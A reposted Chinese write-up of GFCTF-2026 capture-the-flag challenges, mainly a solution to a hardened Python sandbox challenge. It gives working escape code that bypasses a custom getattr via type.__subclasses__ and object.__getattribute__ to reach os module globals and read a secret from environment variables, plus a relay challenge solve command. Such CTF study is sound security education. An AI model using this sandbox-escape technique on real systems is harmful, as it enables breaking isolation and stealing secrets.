文章总结: 文档是GFCTF-2026的Writeup,涵盖Web和Crypto题目。Web题包括Java反序列化绕过黑名单、Jinja2SSTI绕过WAF、JWTalg=none伪造;Crypto题包括低指数攻击和密钥流重用。解题步骤详细,提供了绕过技巧和脚本。 综合评分: 85 文章分类: CTF,漏洞分析,渗透测试,红队,内网渗透
运行:
python3 solve_http_relayd.py http://nc1.ctfplus.cn:39725
输出关键部分:
[relayd] chunk txRT size=101[relayd] channel=alpha route= caption_len=97[relayd] frame checksum: flag{placeholder_waiting_for_platform_override}[relayd] chunk IEND size=0
keysafe-pwn
Summary
一道 Python 沙箱逃逸题,防护极其严密:seccomp 禁 execve、审计钩子禁 import/open、模块清理删 os/sys、自定义 getattr 禁__subclasses__/__globals__/__dict__。核心思路是利用type.__subclasses__ 的 C 层描述符协议绕过自定义 getattr,通过os._wrap_close.__init__.__globals__ 拿到os 模块的完整函数表,最终用os.getenv 读取环境变量中的 flag。
题目环境
- Ubuntu 22.04 LTS,glibc 2.35,Python 3.10.12
- 交互式 Python 沙箱,输入代码后发送
RUN执行,QUIT退出
Solution
Step 1: 分析沙箱防护层
题目设置了五层防护:
| 防护层 | 机制 |
| — | — |
| seccomp | 禁execve(59) 和execveat(322),KILL_PROCESS 级别 |
| 审计钩子 | sys.addaudithook 拦截import、open、marshal.loads、pickle.find_class、ctypes.dlopen、ctypes.dlsym |
| 模块清理 | 从所有模块__dict__ 中删除sys 和_os;从sys.modules 中弹出os、io、struct 等 |
| 自定义 getattr | 拦截__subclasses__、__globals__、__dict__、__code__、f_back、f_globals 等 |
| 受限 builtins | 仅暴露白名单函数,__builtins__ 设为空 dict |
关键:type 和object 在白名单中,type.__subclasses__ 是 C 层面的 method descriptor,其访问走 CPython 的type_getattro 而非 Python 层的getattr,因此「不经过自定义_safe_getattr」。
Step 2: 绕过 getattr — 获取 os 模块
# type.__subclasses__ 绕过自定义 getattr(C 层描述符协议)obj = type.__bases__[0] # objectsubs = type.__subclasses__(obj) # 列出所有已注册类
# 找到 os._wrap_close — 它的 __init__.__globals__ 就是 os 模块的全局命名空间for c in subs: if '_wrap_close' in str(c): init = type.__getattribute__(c, '__init__') # object.__getattribute__ 绕过自定义 getattr 访问 __globals__ g = object.__getattribute__(init, '__globals__') print("open:", g['open']) # os.open (低级 POSIX open) print("read:", g['read']) # os.read print("getenv:", g['getenv']) # os.getenv break
os._wrap_close.__init__.__globals__ 包含os 模块的完整函数表:open、read、write、popen、system、getenv、listdir、scandir 等。
Step 3: 读取 Flag
os.open 触发审计钩子的open 事件被拦截,os.popen/os.system 被 seccomp 的execve 禁令阻断。但os.getenv 既不触发open 事件也不触发execve,且 flag 恰好存在环境变量FLAG 中:
obj = type.__bases__[0]subs = type.__subclasses__(obj)for c in subs: if '_wrap_close' in str(c): init = type.__getattribute__(c, '__init__') g = object.__getattribute__(init, '__globals__') print(g['getenv']('FLAG')) break
输出:
flag{f51aa808-dfa1-42fd-b41c-d6f1046bc17d}
完整利用脚本
# 绕过自定义 getattr: type.__subclasses__ 走 C 层描述符协议# 绕过 __globals__ 拦截: object.__getattribute__ 不经过 Python 层 getattrobj = type.__bases__[0]subs = type.__subclasses__(obj)for c in subs: if '_wrap_close' in str(c): init = type.__getattribute__(c, '__init__') g = object.__getattribute__(init, '__globals__') # os.open 被审计钩子拦,os.popen 被 seccomp 拦 # os.getenv 不触发任何拦截,flag 恰好在环境变量 FLAG 中 print(g['getenv']('FLAG')) break
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:玄网安全 玄网安全 oPis 玄网安全 oPis《GFCTF-2026(wp)》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。








评论